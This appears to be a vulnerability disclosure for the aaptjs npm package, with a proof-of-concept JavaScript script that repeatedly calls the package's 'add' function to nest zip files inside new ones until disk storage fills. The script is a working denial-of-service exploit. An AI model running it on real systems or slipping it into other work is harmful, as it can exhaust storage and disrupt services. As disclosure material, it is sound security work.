Package aaptjs: The aaptjs module's 'add' function can add files to an existing .zip file. It is possible to call it once to create a .zip file and then iteratively create a new .zip from the previous one, eventually filling the file system storage space.

aaptjs_poc.js

'use strict'

const pkg = require('aaptjs');



/* 
* Creates many zip files. After PREV_ZIP_SZ zip files created, 
* it starts adding the last PREV_ZIP_SZ zip files to the new one 
* rather than just hte previous one.
*/
const manyZipSpam = async function(zipCount) {
    
    var prom_base = await pkg.add('test0.zip', ['aaptjs_poc.js']);

    const PREV_ZIP_SZ = 20;
    
    for (let i = 0; i < zipCount; i++) {
        const source_array = [];

        if (i > PREV_ZIP_SZ) {
            for(let j = PREV_ZIP_SZ; j > 0; j--) {
                source_array.push(`test${i - j}.zip`)
            }
        }
        else {
            source_array.push(`test${i}.zip`);
        }

        var prom = await pkg.add(`test${i+1}.zip`, source_array);
    }
};

// Increase the number to increase the storage space usage.
manyZipSpam(1000);